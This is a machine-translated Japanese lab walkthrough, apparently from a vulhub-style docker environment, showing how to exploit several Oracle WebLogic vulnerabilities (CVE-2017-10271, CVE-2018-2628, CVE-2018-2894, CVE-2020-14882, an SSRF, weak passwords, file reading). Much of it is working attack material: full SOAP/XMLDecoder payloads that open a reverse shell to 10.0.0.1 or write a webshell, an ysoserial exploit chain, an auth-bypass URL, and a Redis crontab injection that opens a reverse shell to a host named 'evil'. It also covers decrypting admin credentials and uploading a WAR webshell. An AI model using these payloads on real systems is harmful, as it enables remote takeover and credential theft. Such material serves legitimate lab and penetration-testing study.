記事のディレクトリ
CVE-2017-10271
WeblogicのWLSセキュリティコンポーネントは、XMLDecoderを使用してユーザーから渡されたXMLデータを解析するWebサービスサービスを外部に提供します。解析の過程で、逆シリアル化の脆弱性が発生し、任意のコマンドが実行されます。
参照リンク：
https://www.exploit-db.com/exploits/43458/
https://paper.seebug.org/487/
https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic%20WLS-WebServices组件反序列化漏洞分析.md
http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html
環境設定
テスト環境を開始します。
docker-compose up -d
しばらく待った後、http：// your-ip：7001 /にアクセスすると、weblogicが正常に開始されたことを示す404ページが表示されます。
脆弱性の再発
次のデータパケットを送信します（リバウンドシェルのステートメントをエンコードする必要があることに注意してください。エンコードしないと、XMLの解析時にフォーマットエラーが発生します）。
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
シェルを正常に取得します。
webshellに書き込む（アクセス：http：// your-ip：7001 / bea_wls_internal / test.jsp）：
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
CVE-2018-2628
Oracleの2018年4月のパッチで、Weblogic Server WLSコアコンポーネントの逆シリアル化の脆弱性（CVE-2018-2628）が修正されました。この脆弱性は、t3プロトコルによってトリガーされ、権限のないユーザーがリモートサーバーで任意のコマンドを実行する可能性があります。
参照リンク：
http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
https://github.com/tdy218/ysoserial-cve-2018-2628
脆弱な環境
次のコマンドを実行して、Weblogic10.3.6.0を起動します。
docker-compose up -d
環境が開始するのを待ち（環境の違い、一部のマシンは長時間待機する場合があります）、http：// your-ip：7001 / consoleにアクセスして、環境全体を初期化します。
脆弱性の再発
最初にysoserialをダウンロードし、JRMPサーバーを起動します。
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [リッスンポート] CommonsCollections1 [コマンド]
なかでも、[command]は実行したいコマンド、[listenport]はJRMPサーバーがリッスンするポートです。
次に、exploit.pyスクリプトを使用して、データパケットをターゲットWeblogic（http：// your-ip：7001）に送信します。
python explore.py [victim ip] [victim port] [ysoserialへのパス] [JRMPListener ip] [JRMPListener port] [JRMPClient]
このうち、[victimip]と[victimport]はターゲットweblogicのIPとポート、[path to ysoserial]はローカルysoserialのパス、[JRMPListenerip]と[JRMPListenerport]はのIPアドレスです。 JRMPサーバーは最初のステップとポートで起動しました。[JRMPClient]はJRMPClientを実行するクラスであり、オプションの値はJRMPClientまたはJRMPClient2です。
explore.pyを実行した後、docker-compose exec weblogic bashを実行してコンテナに入り、/ tmp / successが正常に作成されたことがわかります。
CVE-2018-2894
racleの7月の更新で、Weblogic Webサービステストページの任意のファイルアップロードの脆弱性が修正されました。Webサービステストページはデフォルトで「本番モード」で開かれないため、この脆弱性には特定の制限があります。
この脆弱性を使用すると、任意のjspファイルをアップロードしてサーバーのアクセス許可を取得できます。
参照リンク：
http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
https://mp.weixin.qq.com/s/y5JGmM-aNaHcs_6P9a-gRQ
https://xz.aliyun.com/t/2458
脆弱な環境
次のコマンドを実行して、weblogic12.2.1.3を起動します。
docker-compose up -d
環境が開始されたら、http：// your-ip：7001 / consoleにアクセスして、バックグラウンドのログインページを表示します。
docker-compose logs | grep passwordを実行して管理者パスワードを表示します。管理者ユーザー名は、weblogicです。
バックグラウンドページにログインし、base_domainの構成をクリックして、[詳細設定]の[Webサービステストページを有効にする]オプションをオンにします：
脆弱性の再発
http：// your-ip：7001 / ws_utc / config.doにアクセスし、Work HomeDirを/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.wsに設定します。 -testclient-app-wls / 4mcj4y / war / css。このディレクトリをws_utcアプリケーションの静的ファイルcssディレクトリとして設定しました。許可なくこのディレクトリにアクセスすることは非常に重要です。
次に、[セキュリティ]-> [追加]をクリックし、Webシェルをアップロードします。
アップロード後、タイムスタンプが付いている返されたデータパケットを確認します。
CVE-2020-14882
Oracle WebLogic Serverは、Java EE標準を使用してエンタープライズ・アプリケーションを構築し、それらを信頼性が高くスケーラブルなランタイムに低所有コストでデプロイするための業界をリードするアプリケーション・サーバーです。
Oracle Critical Patch Update Advisory- 2020年10月、オラクルは、セキュリティ研究者@VoidfyooがChaitinTechから提出した2つのセキュリティ脆弱性CVE-2020-14882とCVE-2020-14883を修正しました。
CVE-2020-14882を使用すると、リモートユーザーは管理者コンソールコンポーネントの認証をバイパスでき、CVE-2020-14883を使用すると、認証されたユーザーは管理者コンソールコンポーネントで任意のコマンドを実行できます。これら2つの脆弱性の連鎖を使用して、認証されていないリモートの攻撃者は、HTTPを介してOracle WebLogicサーバーで任意のコマンドを実行し、ホストを完全に制御できます。
参照：
https://www.oracle.com/security-alerts/cpuoct2020traditional.html
https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
環境設定
次のコマンドを実行して、Weblogicサーバー12.2.1.3を起動します。
docker-compose up -d
起動が完了したら、http：// your-ip：7001 / consoleにアクセスして、管理者コンソールのログインページを表示します。
エクスプロイト
このURLを使用して、コンソールコンポーネントの認証をバイパスします。
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
RedisによるSSRFの脆弱性
http：// your-ip：7001 / uddiexplorer /にアクセスすると、ログインせずにuddiexplorerアプリケーションの
SSRF脆弱性テストを表示できます。SSRF
脆弱性はhttp：// your-ip：7001 / uddiexplorer / SearchPublicRegistries.jspに存在し、テストします。 brupsuiteLoopholesの下にあります。http://127.0.0.1:80などのアクセス可能なIP：PORTにアクセスします。
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
アクセス可能なポートはエラーを受け取ります。通常、ステータスコードを返します（以下に示すように）。アクセスがhttpプロトコルでない場合は、有効なSOAPコンテンツタイプがなかった場合に返されます。
存在しないポートに変更すると、HTTP経由でサーバーに接続できなくなります。
エラーの違いにより、内部ネットワークの状態を検出できます。
HTTPヘッダーを挿入し、Redisリバースシェルを使用します
WeblogicのSSRFには比較的大きな機能があります。これは「GET」リクエストですが、％0a％0dを渡すことで改行文字を挿入できます。一部のサービス（redisなど）では、各アイテムを改行文字コマンドで区切ります。このSSRFを介してイントラネット内のredisサーバーを攻撃できること。
まず、ssrfを介してイントラネット内のredisサーバーを検出し（Docker環境のネットワークセグメントは通常172. *）、172.18.0.2：6379を接続できることを確認します。
3つのredisコマンドを送信して、シェルスクリプトを/ etc / crontabに書き込みます。
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
URLエンコードを実行します。
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
改行文字は「\ r \ n」、つまり「％0D％0A」であることに注意してください。
ssrfドメイン名の後ろにurlエンコードされた文字列を置き、次を送信します。
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
成功したリバウンド：
最後に、cronを使用できる場所がいくつかあることを追加します。
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件
Weblogicファイルの読み取り
弱いパスワード
環境が開始されたら、weblogicのバックグラウンドであるhttp：// your-ip：7001 / consoleにアクセスします。
この環境には脆弱なパスワードがあります。
weblogic
Oracle@123
Weblogicで一般的に使用される脆弱なパスワード：http：//cirt.net/passwords？criteria = weblogicの
任意のファイル読み取りの脆弱性の悪用
弱いパスワードがないと仮定して、weblogicに侵入する方法は？
この環境のフロントデスクは、任意のファイルダウンロードの脆弱性をシミュレートします。http：// your-ip：7001 / hello / file.jsp？path = / etc / passwdにアクセスして、passwdファイルが正常に読み取られることを確認します。では、この脆弱性をどのように悪用できるのでしょうか。
バックグラウンドユーザーの暗号文とキーファイルを読み取る
weblogicパスワードはAES（旧バージョン3DES）暗号化を使用し、対称暗号化は復号化でき、ユーザーの暗号文と暗号化キーを見つけるだけで済みます。これらの2つのファイルは、SerializedSystemIni.datおよびconfig.xmlという名前のbase_domainの下にあります。この環境では、これらは./security/SerializedSystemIni.datおよび./config/config.xml（現在のディレクトリ/ root / Oracle / Middlewareに基づく）です。 / user_projects / domains / base_domain）。
SerializedSystemIni.datはバイナリファイルであるため、burpsuiteを使用して読み取る必要があります。ブラウザで直接ダウンロードすると、干渉する文字が表示される場合があります。burpで読み取った文字化けした
コードの文字列を選択し、[ファイルにコピー]を右クリックしてファイルとして保存します。config.xmlはbase_domainのグローバル構成ファイルであるため、多くの厄介なコンテンツがあります。その中の値を見つけて、これは暗号化です管理者パスワードの後で、間違ったものを見つけないでください：
暗号テキストを復号化してください
次に、この環境の復号化ディレクトリでweblogic_decrypt.jarを使用して暗号文を復号化します（または、この記事を参照してください：http：//cb.drops.wiki/drops/tips-349.htmlを参照して、復号化ツールを自分でコンパイルしてください）。
復号化後のパスワードは、事前に設定したパスワードと一致しており、成功を示していることがわかります。
バックグラウンドでwebshellをアップロードする
管理者パスワードを取得したら、バックグラウンドでログインします。左側のデプロイメントをクリックして、アプリケーションのリストを表示します。
[インストール]をクリックし、[ファイルのアップロード]を選択します。war
パッケージをアップロードします。通常tomcatを使用するwarパッケージは成功しない可能性があることに注意してください。このプロジェクトのweb / hello.warの圧縮パッケージにWebシェルを入れてアップロードできます。アップロードが成功したら、[次へ]をクリックします。
アプリケーション名を入力します。
次の手順に進み、最後に[完了]をクリックします。
アプリケーションディレクトリは、warパッケージのWEB-INF / weblogic.xmlで指定されます（このテスト環境では/ helloディレクトリが使用されているため、このディレクトリを変更して、/などのこのテスト環境にシェルをデプロイする必要があります。 jspspy）：
webshellを正常に取得します。
